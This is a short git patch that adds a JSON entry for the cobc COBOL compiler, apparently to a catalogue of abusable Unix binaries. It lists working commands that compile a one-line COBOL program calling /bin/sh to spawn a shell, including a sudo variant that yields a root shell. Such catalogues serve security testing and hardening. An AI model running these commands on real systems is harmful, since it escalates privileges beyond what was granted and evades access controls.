From d13eab3ac959524ec94325ba24e76c14fa1c980a Mon Sep 17 00:00:00 2001 From: t0thkr1s Date: Sat, 14 Mar 2020 16:26:04 +0100 Subject: [PATCH] add data source for cobc --- data/cobc.json | 14 ++++++++++++++ 1 file changed, 14 insertions(+) create mode 100644 data/cobc.json diff --git a/data/cobc.json b/data/cobc.json new file mode 100644 index 0000000..678f17d --- /dev/null +++ b/data/cobc.json @@ -0,0 +1,14 @@ +{ + "functions": { + "shell": [ + { + "code": "TF=$(mktemp -d)\necho 'CALL \"SYSTEM\" USING \"/bin/sh\".' > $TF/x\ncobc -xFj --frelax-syntax-checks $TF/x\n" + } + ], + "sudo": [ + { + "code": "TF=$(mktemp -d)\necho 'CALL \"SYSTEM\" USING \"/bin/sh\".' > $TF/x\nsudo cobc -xFj --frelax-syntax-checks $TF/x\n" + } + ] + } +} \ No newline at end of file